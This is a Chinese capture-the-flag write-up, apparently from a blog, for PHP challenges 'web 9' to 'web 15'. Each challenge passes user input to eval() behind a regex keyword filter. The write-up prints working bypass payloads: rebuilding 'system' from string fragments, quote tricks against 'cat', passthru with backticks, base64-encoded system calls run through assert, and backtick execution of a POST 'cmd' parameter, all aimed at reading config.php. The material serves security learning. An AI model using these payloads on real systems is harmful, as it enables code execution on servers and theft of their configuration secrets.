zoukankan      html  css  js  c++  java
  • 萌新计划 PartⅡ

    Part Ⅱ web 9-15

    这一部分的题,主要是绕过过滤条件,进行命令执行

    0x01 web 9

    过滤条件:

    if(preg_match("/system|exec|highlight/i",$c)){
    	eval($c);
    }
    

    payload:

    c=highlight_file('config.php');
    

    0x02 web 10

    过滤条件:

    if(!preg_match("/system|exec|highlight/i",$c)){
    	eval($c);
    }
    

    过滤可用函数,可以使用构造法进行绕过:

    c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
    c=$a='highligh';$b='t_file';$d=$a.$b;$d('config.php');
    

    0x03 web 11

    过滤条件:

    if(!preg_match("/system|exec|highlight|cat/i",$c)){
    	eval($c);
    }
    

    过滤掉上一题使用的cat,linux查看文件内容的函数有很多:less、more、tac。

    或者使用单引号、双引号或者反斜杠绕过cat

    ca't config.php
    ca"t config.php
    ca	 config.php
    

    0x04 web 12

    过滤条件:

    if(!preg_match("/system|exec|highlight|cat|.|php|config/i",$c)){
    	eval($c);
    }
    

    过滤了文件名与后缀,也防止了使用构造法绕过过滤条件。

    可以使用其他命令

    passthru()
    shell_exec()
    popen()
    proc_open()
    pcntl_exec()
    

    在linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。
    比如 cat ls 相当于将 ls出来的结果cat。

    大佬的payload:

    c=passthru("ca''t `ls`");
    c=$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);
    

    0x05 web 13

    过滤条件:

    if(!preg_match("/system|exec|highlight|cat|.|;|file|php|config/i",$c)){
    	eval($c);
    }
    

    直接给出大佬的wp:

    这次的过滤中增加了分号这样我们就只能执行一条语句了,在eval()中的是php语句,分号禁了,我们只能用 ?>来闭合语句了,这里再提下assert()
    assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
    assert中 的字符串可以没有分号.
    所以给出两个payload

    c=passthru("ca''t `ls`")?>
    c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp=))?>
    

    0x06 web 14

    过滤条件:

    if(!preg_match("/system|exec|highlight|cat|(|.|;|file|php|config/i",$c)){
    	eval($c);
    }
    

    不允许使用括号。

    大佬的wp:

    c=echo `$_POST[cmd]`?>
    

    使用post提交:

    cmd=cat config.php
    

    0x07 web 15

    if(!preg_match("/system|\*|?|<|>|=|exec|highlight|cat|(|.|file|php|config/i",$c)){
    	eval($c);
    }
    

    新增过滤了尖括号,放开了分号。

    payload:

    c=echo `$_POST[cmd]`;
    

    使用post提交:

    cmd=cat config.php
    
  • 相关阅读:
    寒假学习笔记12
    寒假学习笔记11
    寒假学习笔记10
    寒假学习笔记09
    JSoup简单测试
    App开发环境_Eclipse_20160927
    App开发环境_Eclipse_20160925
    ZC_源码编译真机烧写_20160424
    ZC_源码编译真机烧写_20160423
    sdk下载
  • 原文地址:https://www.cnblogs.com/chalan630/p/12688724.html
Copyright © 2011-2022 走看看